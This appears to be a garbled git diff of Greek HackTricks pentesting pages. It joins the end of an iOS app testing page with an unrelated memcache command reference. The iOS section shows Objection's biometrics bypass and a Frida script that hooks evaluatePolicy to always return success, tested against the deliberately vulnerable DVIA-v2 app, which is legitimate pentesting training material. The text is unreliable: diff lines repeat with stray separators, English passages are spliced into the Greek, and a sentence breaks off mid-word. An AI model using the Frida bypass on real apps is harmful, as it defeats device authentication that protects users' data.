Η χρήση πλαισίων (frameworks) σε μια εφαρμογή μπορεί επίσης να ανιχνευθεί αναλύοντας τη λίστα των κοινών δυναμικών βιβλιοθηκών του δυαδικού αρχείου της εφαρμογής. Αυτό μπορεί να γίνει χρησιμοποιώντας το `otool`:
|
Η χρήση πλαισίων (frameworks) σε μια εφαρμογή μπορεί επίσης να ανιχνευθεί αναλύοντας τη λίστα των κοινών δυναμικών βιβλιοθηκών του δυαδικού αρχείου της εφαρμογής. Αυτό μπορεί να γίνει χρησιμοποιώντας το `otool`:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
$ otool -L <AppName>.app/<AppName>
|
$ otool -L <AppName>.app/<AppName>
|
||||||
```
|
```
|
||||||
|
|
||||||
Εάν χρησιμοποιείται το `LocalAuthentication.framework` σε μια εφαρμογή, το αποτέλεσμα θα περιέχει και τις παρακάτω γραμμές (να θυμάστε ότι το `LocalAuthentication.framework` χρησιμοποιεί το `Security.framework` υπό το καπάκι):
|
Εάν χρησιμοποιείται το `LocalAuthentication.framework` σε μια εφαρμογή, το αποτέλεσμα θα περιέχει και τις παρακάτω γραμμές (να θυμάστε ότι το `LocalAuthentication.framework` χρησιμοποιεί το `Security.framework` υπό το καπάκι):
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
|
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
|
||||||
/System/Library/Frameworks/Security.framework/Security
|
/System/Library/Frameworks/Security.framework/Security
|
||||||
```
|
```
|
||||||
|
|
||||||
Εάν χρησιμοποιείται το `Security.framework`, θα εμφανιστεί μόνο το δεύτερο.
|
Εάν χρησιμοποιείται το `Security.framework`, θα εμφανιστεί μόνο το δεύτερο.
|
||||||
|
|
||||||
### Διασχίζοντας το Πλαίσιο Τοπικής Ταυτοποίησης
|
### Διασχίζοντας το Πλαίσιο Τοπικής Ταυτοποίησης
|
||||||
|
@ -940,6 +1014,7 @@ $ otool -L <AppName>.app/<AppName>
|
||||||
Μέσω της **Αντίρρησης Βιομετρικών Δεδομένων**, που βρίσκεται στη [σελίδα GitHub αυτή](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), υπάρχει μια τεχνική για την αντιμετώπιση του μηχανισμού **LocalAuthentication**. Η ουσία αυτής της προσέγγισης ενεργοποιείται με τη χρήση του **Frida** για τη χειραγώγηση της λειτουργίας `evaluatePolicy`, εξασφαλίζοντας ότι δίνει συνεχώς ένα αποτέλεσμα `True`, ανεξαρτήτως της πραγματικής επιτυχίας της ταυτοποίησης. Αυτό είναι ιδιαίτερα χρήσιμο για την παράκαμψη ελαττωματικών διαδικασιών βιομετρικής ταυτοποίησης.
|
Μέσω της **Αντίρρησης Βιομετρικών Δεδομένων**, που βρίσκεται στη [σελίδα GitHub αυτή](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), υπάρχει μια τεχνική για την αντιμετώπιση του μηχανισμού **LocalAuthentication**. Η ουσία αυτής της προσέγγισης ενεργοποιείται με τη χρήση του **Frida** για τη χειραγώγηση της λειτουργίας `evaluatePolicy`, εξασφαλίζοντας ότι δίνει συνεχώς ένα αποτέλεσμα `True`, ανεξαρτήτως της πραγματικής επιτυχίας της ταυτοποίησης. Αυτό είναι ιδιαίτερα χρήσιμο για την παράκαμψη ελαττωματικών διαδικασιών βιομετρικής ταυτοποίησης.
|
||||||
|
|
||||||
Για την ενεργοποίηση αυτής της παράκαμψης, χρησιμοποιείται η ακόλουθη εντολή:
|
Για την ενεργοποίηση αυτής της παράκαμψης, χρησιμοποιείται η ακόλουθη εντολή:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
|
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
|
||||||
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
|
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
|
||||||
|
@ -948,11 +1023,13 @@ $ otool -L <AppName>.app/<AppName>
|
||||||
(agent) [3mhtws9x47q] Marking OS response as True instead
|
(agent) [3mhtws9x47q] Marking OS response as True instead
|
||||||
(agent) [3mhtws9x47q] Biometrics bypass hook complete
|
(agent) [3mhtws9x47q] Biometrics bypass hook complete
|
||||||
```
|
```
|
||||||
|
|
||||||
Αυτή η εντολή ενεργοποιεί μια ακολουθία όπου το Objection καταχωρίζει μια εργασία που αλλάζει αποτελεσματικά το αποτέλεσμα του ελέγχου `evaluatePolicy` σε `True`.
|
Αυτή η εντολή ενεργοποιεί μια ακολουθία όπου το Objection καταχωρίζει μια εργασία που αλλάζει αποτελεσματικά το αποτέλεσμα του ελέγχου `evaluatePolicy` σε `True`.
|
||||||
|
|
||||||
#### Frida
|
#### Frida
|
||||||
|
|
||||||
Ένα παράδειγμα χρήσης της **`evaluatePolicy`** από την εφαρμογή [DVIA-v2](https://github.com/prateek147/DVIA-v2):
|
Ένα παράδειγμα χρήσης της **`evaluatePolicy`** από την εφαρμογή [DVIA-v2](https://github.com/prateek147/DVIA-v2):
|
||||||
|
|
||||||
```swift
|
```swift
|
||||||
+(void)authenticateWithTouchID {
|
+(void)authenticateWithTouchID {
|
||||||
LAContext *myContext = [[LAContext alloc] init];
|
LAContext *myContext = [[LAContext alloc] init];
|
||||||
|
@ -980,9 +1057,11 @@ dispatch_async(dispatch_get_main_queue(), ^{
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
Για να επιτευχθεί η **παράκαμψη** της Τοπικής Ταυτοποίησης, γράφεται ένα σενάριο Frida. Αυτό το σενάριο στοχεύει τον έλεγχο **evaluatePolicy**, παρεμβαίνοντας στην κλήση του για να εξασφαλίσει ότι επιστρέφει **success=1**. Αλλάζοντας τη συμπεριφορά της κλήσης, ο έλεγχος ταυτοποίησης παρακάμπτεται αποτελεσματικά.
|
Για να επιτευχθεί η **παράκαμψη** της Τοπικής Ταυτοποίησης, γράφεται ένα σενάριο Frida. Αυτό το σενάριο στοχεύει τον έλεγχο **evaluatePolicy**, παρεμβαίνοντας στην κλήση του για να εξασφαλίσει ότι επιστρέφει **success=1**. Αλλάζοντας τη συμπεριφορά της κλήσης, ο έλεγχος ταυτοποίησης παρακάμπτεται αποτελεσματικά.
|
||||||
|
|
||||||
Το παρακάτω σενάριο ενσωματώνεται για να τροποποιήσει το αποτέλεσμα της μεθόδου **evaluatePolicy**. Αλλάζει το αποτέλεσμα της κλήσης για να υποδεικνύει πάντα επιτυχία.
|
Το παρακάτω σενάριο ενσωματώνεται για να τροποποιήσει το αποτέλεσμα της μεθόδου **evaluatePolicy**. Αλλάζει το αποτέλεσμα της κλήσης για να υποδεικνύει πάντα επιτυχία.
|
||||||
|
|
||||||
```swift
|
```swift
|
||||||
// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
|
// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
|
||||||
if(ObjC.available) {
|
if(ObjC.available) {
|
||||||
|
@ -1004,10 +1083,13 @@ return result;
|
||||||
console.log("Objective-C Runtime is not available!");
|
console.log("Objective-C Runtime is not available!");
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
Για να ενθέσετε το σενάριο Frida και να παρακάμψετε τη βιομετρική ταυτοποίηση, χρησιμοποιείται η παρακάτω εντολή:
|
Για να ενθέσετε το σενάριο Frida και να παρακάμψετε τη βιομετρική ταυτοποίηση, χρησιμοποιείται η παρακάτω εντολή:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js
|
frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js
|
||||||
```
|
```
|
||||||
|
|
||||||
## Εκθέτοντας Ευαίσθητες Λειτουργίες Μέσω IPC
|
## Εκθέτοντας Ευαίσθητες Λειτουργίες Μέσω IPC
|
||||||
|
|
||||||
### Προσαρμοσμένοι Χειριστές URI / Deeplinks / Προσαρμασμένα Σχήματα
|
### Προσαρμοσμένοι Χειριστές URI / Deeplinks / Προσαρμασμένα Σχήματα
|
||||||
|
@ -1097,9 +1179,11 @@ frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-i
|
||||||
Οι υπηρεσίες που παρέχονται από τα SDK τρίτων μπορεί να περιλαμβάνουν παρακολούθηση συμπεριφοράς χρήστη, εμφάνιση διαφημίσεων ή βελτίωση της εμπειρίας χρήστη. Ωστόσο, αυτό εισάγει έναν κίνδυνο καθώς οι προγραμματιστές ενδέχεται να μην είναι πλήρως ενήμεροι για τον κώδικα που εκτελείται από αυτές τις βιβλιοθήκες, οδηγώντας σε πιθανούς κινδύνους απορρήτου και ασφάλειας. Είναι ζωτικής σημασίας να περιορίσετε τις πληροφορίες που μοιράζεστε με υπηρεσίες τρίτων σε αυτές που είναι απαραίτητες και να διασφαλίσετε ότι δεν εκθέτετε ευαίσθητα δεδομένα.
|
Οι υπηρεσίες που παρέχονται από τα SDK τρίτων μπορεί να περιλαμβάνουν παρακολούθηση συμπεριφοράς χρήστη, εμφάνιση διαφημίσεων ή βελτίωση της εμπειρίας χρήστη. Ωστόσο, αυτό εισάγει έναν κίνδυνο καθώς οι προγραμματιστές ενδέχεται να μην είναι πλήρως ενήμεροι για τον κώδικα που εκτελείται από αυτές τις βιβλιοθήκες, οδηγώντας σε πιθανούς κινδύνους απορρήτου και ασφάλειας. Είναι ζωτικής σημασίας να περιορίσετε τις πληροφορίες που μοιράζεστε με υπηρεσίες τρίτων σε αυτές που είναι απαραίτητες και να διασφαλίσετε ότι δεν εκθέτετε ευαίσθητα δεδομένα.
|
||||||
|
|
||||||
Η υλοποίηση υπηρεσιών τρίτων έρχεται συνήθως σε δύο μορφές: μια ανεξάρτ
|
Η υλοποίηση υπηρεσιών τρίτων έρχεται συνήθως σε δύο μορφές: μια ανεξάρτ
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
otool -L <application_path>
|
otool -L <application_path>
|
||||||
```
|
```
|
||||||
|
|
||||||
## **Αναφορές & Περισσότεροι Πόροι**
|
## **Αναφορές & Περισσότεροι Πόροι**
|
||||||
|
|
||||||
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering)
|
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering)
|
||||||
|
|
|
@ -1,4 +1,6 @@
|
||||||
# Εντολές Memcache
|
# Memcache Commands
|
||||||
|
|
||||||
|
## Εντολές Memcache
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -9,12 +11,12 @@
|
||||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Λίστα Εντολών
|
### Λίστα Εντολών
|
||||||
|
|
||||||
**Από** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)
|
**Από** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)
|
||||||
|
|
||||||
|
@ -22,40 +24,43 @@
|
||||||
|
|
||||||
Δυστυχώς, η περιγραφή της σύνταξης δεν είναι πραγματικά σαφής και μια απλή εντολή βοήθειας που να καταγράφει τις υπάρχουσες εντολές θα ήταν πολύ καλύτερη. Εδώ υπάρχει μια επισκόπηση των εντολών που μπορείτε να βρείτε στην [πηγή](https://github.com/memcached/memcached) (την τελευταία ενημέρωση έγινε στις 19.08.2016):
|
Δυστυχώς, η περιγραφή της σύνταξης δεν είναι πραγματικά σαφής και μια απλή εντολή βοήθειας που να καταγράφει τις υπάρχουσες εντολές θα ήταν πολύ καλύτερη. Εδώ υπάρχει μια επισκόπηση των εντολών που μπορείτε να βρείτε στην [πηγή](https://github.com/memcached/memcached) (την τελευταία ενημέρωση έγινε στις 19.08.2016):
|
||||||
|
|
||||||
| Εντολή | Περιγραφή | Παράδειγμα |
|
| Εντολή | Περιγραφή | Παράδειγμα |
|
||||||
| --------------------- | --------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
| --------------------- | -------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||||
| get | Διαβάζει μια τιμή | `get mykey` |
|
| get | Διαβάζει μια τιμή | `get mykey` |
|
||||||
| set | Ορίζει μια κλειδί ανεξάρτητα | <p><code>set mykey <flags> <ttl> <size></code><br><br><p>Βεβαιωθείτε ότι χρησιμοποιείτε \r\n ως αλλαγές γραμμής όταν χρησιμοποιείτε εργαλεία Unix CLI. Για παράδειγμα</p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
|
| set | Ορίζει μια κλειδί ανεξάρτητα | <p><code>set mykey <flags> <ttl> <size></code><br><br><p>Βεβαιωθείτε ότι χρησιμοποιείτε \r\n ως αλλαγές γραμμής όταν χρησιμοποιείτε εργαλεία Unix CLI. Για παράδειγμα</p> <code>printf "set mykey 0 60 4\r\ndata\r\n"</code></p> |
|
||||||
| add | Προσθέτει ένα νέο κλειδί | `add newkey 0 60 5` |
|
| add | Προσθέτει ένα νέο κλειδί | `add newkey 0 60 5` |
|
||||||
| replace | Αντικαθιστά υπάρχον κλειδί | `replace key 0 60 5` |
|
| replace | Αντικαθιστά υπάρχον κλειδί | `replace key 0 60 5` |
|
||||||
| append | Προσθέτει δεδομένα σε υπάρχον κλειδί | `append key 0 60 15` |
|
| append | Προσθέτει δεδομένα σε υπάρχον κλειδί | `append key 0 60 15` |
|
||||||
| prepend | Προσθέτει δεδομένα στην αρχή υπάρχοντος κλειδιού | `prepend key 0 60 15` |
|
| prepend | Προσθέτει δεδομένα στην αρχή υπάρχοντος κλειδιού | `prepend key 0 60 15` |
|
||||||
| incr | Αυξάνει την αριθμητική τιμή του κλειδιού κατά έναν δοσμένο αριθμό | `incr mykey 2` |
|
| incr | Αυξάνει την αριθμητική τιμή του κλειδιού κατά έναν δοσμένο αριθμό | `incr mykey 2` |
|
||||||
| decr | Μειώνει την αριθμητική τιμή του κλειδιού κατά έναν δοσμένο αριθμό | `decr mykey 5` |
|
| decr | Μειώνει την αριθμητική τιμή του κλειδιού κατά έναν δοσμένο αριθμό | `decr mykey 5` |
|
||||||
| delete | Διαγράφει ένα υπάρχον κλειδί | `delete mykey` |
|
| delete | Διαγράφει ένα υπάρχον κλειδί | `delete mykey` |
|
||||||
| flush\_all | Ακυρώνει όλα τα στοιχεία αμέσως | `flush_all` |
|
| flush\_all | Ακυρώνει όλα τα στοιχεία αμέσως | `flush_all` |
|
||||||
| flush\_all | Ακυρώνει όλα τα στοιχεία σε n δευτερόλεπτα | `flush_all 900` |
|
| flush\_all | Ακυρώνει όλα τα στοιχεία σε n δευτερόλεπτα | `flush_all 900` |
|
||||||
| stats | Εκτυπώνει γενικές στατιστικές | `stats` |
|
| stats | Εκτυπώνει γενικές στατιστικές | `stats` |
|
||||||
| | Εκτυπώνει στατιστικές μνήμης | `stats slabs` |
|
| | Εκτυπώνει στατιστικές μνήμης | `stats slabs` |
|
||||||
| | Εκτυπώνει στατιστικές υψηλού επιπέδου ανάθεσης | `stats malloc` |
|
| | Εκτυπώνει στατιστικές υψηλού επιπέδου ανάθεσης | `stats malloc` |
|
||||||
| | Εκτυπώνει πληροφορίες για τα αντικείμενα | `stats items` |
|
| | Εκτυπώνει πληροφορίες για τα αντικείμενα | `stats items` |
|
||||||
| | | `stats detail` |
|
| | | `stats detail` |
|
||||||
| | | `stats sizes` |
|
| | | `stats sizes` |
|
||||||
| | Επαναφέρει τους μετρητές στατιστικών | `stats reset` |
|
| | Επαναφέρει τους μετρητές στατιστικών | `stats reset` |
|
||||||
| lru\_crawler metadump | Αδειάζει (σχεδόν όλα) τα μεταδεδομένα για (όλα) τα στοιχεία στην προσωρινή μνήμη | `lru_crawler metadump all` |
|
| lru\_crawler metadump | Αδειάζει (σχεδόν όλα) τα μεταδεδομένα για (όλα) τα στοιχεία στην προσωρινή μνήμη | `lru_crawler metadump all` |
|
||||||
| version | Εκτυπώνει την έκδοση του διακομιστή | `version` |
|
| version | Εκτυπώνει την έκδοση του διακομιστή | `version` |
|
||||||
| verbosity | Αυξάνει το επίπεδο καταγραφής | `verbosity` |
|
| verbosity | Αυξάνει το επίπεδο καταγραφής | `verbosity` |
|
||||||
| quit | Τερματίζει τη συνεδρία | `quit` |
|
| quit | Τερματίζει τη συνεδρία | `quit` |
|
||||||
|
|
||||||
#### Στατιστικά Κίνησης <a href="#traffic-statistics" id="traffic-statistics"></a>
|
**Στατιστικά Κίνησης**
|
||||||
|
|
||||||
Μπορείτε να ερωτήσετε τα τρέχοντα στατιστικά κίνησης χρησιμοποιώντας την εντολή
|
Μπορείτε να ερωτήσετε τα τρέχοντα στατιστικά κίνησης χρησιμοποιώντας την εντολή
|
||||||
|
|
||||||
```
|
```
|
||||||
stats
|
stats
|
||||||
```
|
```
|
||||||
|
|
||||||
Θα λάβετε μια λίστα που παρέχει τον αριθμό των συνδέσεων, τα bytes εισόδου/εξόδου και πολλά άλλα.
|
Θα λάβετε μια λίστα που παρέχει τον αριθμό των συνδέσεων, τα bytes εισόδου/εξόδου και πολλά άλλα.
|
||||||
|
|
||||||
Παράδειγμα Αποτελέσματος:
|
Παράδειγμα Αποτελέσματος:
|
||||||
|
|
||||||
```
|
```
|
||||||
STAT pid 14868
|
STAT pid 14868
|
||||||
STAT uptime 175931
|
STAT uptime 175931
|
||||||
|
@ -81,29 +86,32 @@ STAT limit_maxbytes 52428800
|
||||||
STAT threads 1
|
STAT threads 1
|
||||||
END
|
END
|
||||||
```
|
```
|
||||||
#### Στατιστικά Μνήμης <a href="#memory-statistics" id="memory-statistics"></a>
|
|
||||||
|
**Στατιστικά Μνήμης**
|
||||||
|
|
||||||
Μπορείτε να ερωτηθείτε για τα τρέχοντα στατιστικά μνήμης χρησιμοποιώντας την εντολή
|
Μπορείτε να ερωτηθείτε για τα τρέχοντα στατιστικά μνήμης χρησιμοποιώντας την εντολή
|
||||||
|
|
||||||
```
|
```
|
||||||
stats slabs
|
stats slabs
|
||||||
```
|
```
|
||||||
# Memcache Commands
|
|
||||||
|
|
||||||
## Introduction
|
## Memcache Commands
|
||||||
|
|
||||||
|
### Introduction
|
||||||
|
|
||||||
Memcache is a widely used distributed memory caching system. It is commonly used to speed up dynamic web applications by caching data and reducing the load on the database.
|
Memcache is a widely used distributed memory caching system. It is commonly used to speed up dynamic web applications by caching data and reducing the load on the database.
|
||||||
|
|
||||||
## Basic Commands
|
### Basic Commands
|
||||||
|
|
||||||
### SET
|
#### SET
|
||||||
|
|
||||||
**Command**: `set <key> <flags> <exptime> <bytes> [noreply]`
|
**Command**: `set <key> <flags> <exptime> <bytes> [noreply]`
|
||||||
|
|
||||||
**Description**: Stores the specified value in the cache under the given key. The flags parameter is used to store metadata about the value, such as its data type. The exptime parameter specifies the expiration time for the value, in seconds. The bytes parameter specifies the size of the value in bytes. The optional noreply parameter tells the server not to send a response.
|
**Description**: Stores the specified value in the cache under the given key. The flags parameter is used to store metadata about the value, such as its data type. The exptime parameter specifies the expiration time for the value, in seconds. The bytes parameter specifies the size of the value in bytes. The optional noreply parameter tells the server not to send a response.
|
||||||
|
|
||||||
**Example**: `set mykey 0 3600 5\r\nhello\r\n`
|
**Example**: `set mykey 0 3600 5\r\nhello\r`
|
||||||
|
|
||||||
### GET
|
#### GET
|
||||||
|
|
||||||
**Command**: `get <key>`
|
**Command**: `get <key>`
|
||||||
|
|
||||||
|
@ -111,7 +119,7 @@ Memcache is a widely used distributed memory caching system. It is commonly used
|
||||||
|
|
||||||
**Example**: `get mykey`
|
**Example**: `get mykey`
|
||||||
|
|
||||||
### DELETE
|
#### DELETE
|
||||||
|
|
||||||
**Command**: `delete <key> [noreply]`
|
**Command**: `delete <key> [noreply]`
|
||||||
|
|
||||||
|
@ -119,9 +127,9 @@ Memcache is a widely used distributed memory caching system. It is commonly used
|
||||||
|
|
||||||
**Example**: `delete mykey`
|
**Example**: `delete mykey`
|
||||||
|
|
||||||
## Advanced Commands
|
### Advanced Commands
|
||||||
|
|
||||||
### STATS
|
#### STATS
|
||||||
|
|
||||||
**Command**: `stats [settings]`
|
**Command**: `stats [settings]`
|
||||||
|
|
||||||
|
@ -129,7 +137,7 @@ Memcache is a widely used distributed memory caching system. It is commonly used
|
||||||
|
|
||||||
**Example**: `stats`
|
**Example**: `stats`
|
||||||
|
|
||||||
### FLUSH_ALL
|
#### FLUSH\_ALL
|
||||||
|
|
||||||
**Command**: `flush_all [delay]`
|
**Command**: `flush_all [delay]`
|
||||||
|
|
||||||
|
@ -137,7 +145,7 @@ Memcache is a widely used distributed memory caching system. It is commonly used
|
||||||
|
|
||||||
**Example**: `flush_all`
|
**Example**: `flush_all`
|
||||||
|
|
||||||
### VERSION
|
#### VERSION
|
||||||
|
|
||||||
**Command**: `version`
|
**Command**: `version`
|
||||||
|
|
||||||
|
@ -145,9 +153,10 @@ Memcache is a widely used distributed memory caching system. It is commonly used
|
||||||
|
|
||||||
**Example**: `version`
|
**Example**: `version`
|
||||||
|
|
||||||
## Conclusion
|
### Conclusion
|
||||||
|
|
||||||
These are some of the basic and advanced commands that can be used to interact with a memcache server. Understanding these commands is essential for effective memcache management and troubleshooting.
|
These are some of the basic and advanced commands that can be used to interact with a memcache server. Understanding these commands is essential for effective memcache management and troubleshooting.
|
||||||
|
|
||||||
```
|
```
|
||||||
STAT 1:chunk_size 80
|
STAT 1:chunk_size 80
|
||||||
STAT 1:chunks_per_page 13107
|
STAT 1:chunks_per_page 13107
|
||||||
|
@ -168,15 +177,18 @@ STAT active_slabs 3
|
||||||
STAT total_malloced 3145436
|
STAT total_malloced 3145436
|
||||||
END
|
END
|
||||||
```
|
```
|
||||||
|
|
||||||
Εάν δεν είστε βέβαιοι αν έχετε αρκετή μνήμη για την περίπτωση του memcached σας, παρακολουθήστε πάντα τους μετρητές "εκδιωγμένων" που δίνονται από την εντολή "stats". Εάν έχετε αρκετή μνήμη για την περίπτωση, ο μετρητής "εκδιωγμένων" θα πρέπει να είναι 0 ή τουλάχιστον να μην αυξάνεται.
|
Εάν δεν είστε βέβαιοι αν έχετε αρκετή μνήμη για την περίπτωση του memcached σας, παρακολουθήστε πάντα τους μετρητές "εκδιωγμένων" που δίνονται από την εντολή "stats". Εάν έχετε αρκετή μνήμη για την περίπτωση, ο μετρητής "εκδιωγμένων" θα πρέπει να είναι 0 ή τουλάχιστον να μην αυξάνεται.
|
||||||
|
|
||||||
#### Ποια Κλειδιά Χρησιμοποιούνται? <a href="#which-keys-are-used" id="which-keys-are-used"></a>
|
**Ποια Κλειδιά Χρησιμοποιούνται?**
|
||||||
|
|
||||||
Δεν υπάρχει ενσωματωμένη λειτουργία για να προσδιορίσετε απευθείας το τρέχον σύνολο των κλειδιών. Ωστόσο, μπορείτε να χρησιμοποιήσετε την
|
Δεν υπάρχει ενσωματωμένη λειτουργία για να προσδιορίσετε απευθείας το τρέχον σύνολο των κλειδιών. Ωστόσο, μπορείτε να χρησιμοποιήσετε την
|
||||||
|
|
||||||
```
|
```
|
||||||
stats items
|
stats items
|
||||||
```
|
```
|
||||||
## Command to Determine How Many Keys Exist
|
|
||||||
|
### Command to Determine How Many Keys Exist
|
||||||
|
|
||||||
To determine the number of keys that exist in a Memcache server, you can use the `stats` command. This command provides statistics about the server, including the total number of keys stored.
|
To determine the number of keys that exist in a Memcache server, you can use the `stats` command. This command provides statistics about the server, including the total number of keys stored.
|
||||||
|
|
||||||
|
@ -193,6 +205,7 @@ STAT items:1:number 10
|
||||||
```
|
```
|
||||||
|
|
||||||
In this case, the server has a total of 10 keys stored.
|
In this case, the server has a total of 10 keys stored.
|
||||||
|
|
||||||
```
|
```
|
||||||
stats items
|
stats items
|
||||||
STAT items:1:number 220
|
STAT items:1:number 220
|
||||||
|
@ -202,6 +215,7 @@ STAT items:2:age 1405
|
||||||
[...]
|
[...]
|
||||||
END
|
END
|
||||||
```
|
```
|
||||||
|
|
||||||
Αυτό τουλάχιστον βοηθά να δούμε αν χρησιμοποιούνται κλειδιά. Για να ανακτήσετε τα ονόματα των κλειδιών από ένα PHP script που ήδη πραγματοποιεί πρόσβαση στο memcache, μπορείτε να χρησιμοποιήσετε τον κώδικα PHP από το [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html).
|
Αυτό τουλάχιστον βοηθά να δούμε αν χρησιμοποιούνται κλειδιά. Για να ανακτήσετε τα ονόματα των κλειδιών από ένα PHP script που ήδη πραγματοποιεί πρόσβαση στο memcache, μπορείτε να χρησιμοποιήσετε τον κώδικα PHP από το [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html).
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
@ -213,7 +227,7 @@ END
|
||||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Συμμετάσχετε** 💬 **στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή **στην ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Συμμετάσχετε** 💬 **στην ομάδα Discord**]\(https://discord.gg/hRep4RUj7f) ή **στην ομάδα telegram**]\(https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -0,0 +1,89 @@
|
||||||
